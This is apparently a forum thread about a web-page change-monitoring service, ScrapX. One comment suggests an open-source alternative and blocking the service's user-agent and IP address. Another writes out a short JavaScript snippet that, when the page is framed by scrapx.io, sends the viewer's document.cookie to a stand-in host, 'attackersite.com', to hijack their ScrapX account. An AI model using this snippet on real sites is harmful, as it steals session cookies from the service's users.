I've been using Change Detection. It's open source and seems to support more features

https://github.com/dgtlmoon/changedetection.io

If you want to stop this just block the user-agent axios/0.19.2 and the ip 3.67.189.0

Your competitor can also just steal your "ScrapX" account if you view their site using the "Rendered HTML" preview, fun right?

You just add a little bit of extra JS onto your site:

  <script>
   if (document.location.ancestorOrigins[0].includes("scrapx.io")) { 
     fetch("https://attackersite.com/test123/"+document.cookie)
   }
  </script>

Guess the old saying “Winners focus on winning. Losers focus on others” applies here.

This screams lack of confidence. Why not focus on your own product and ignore others?
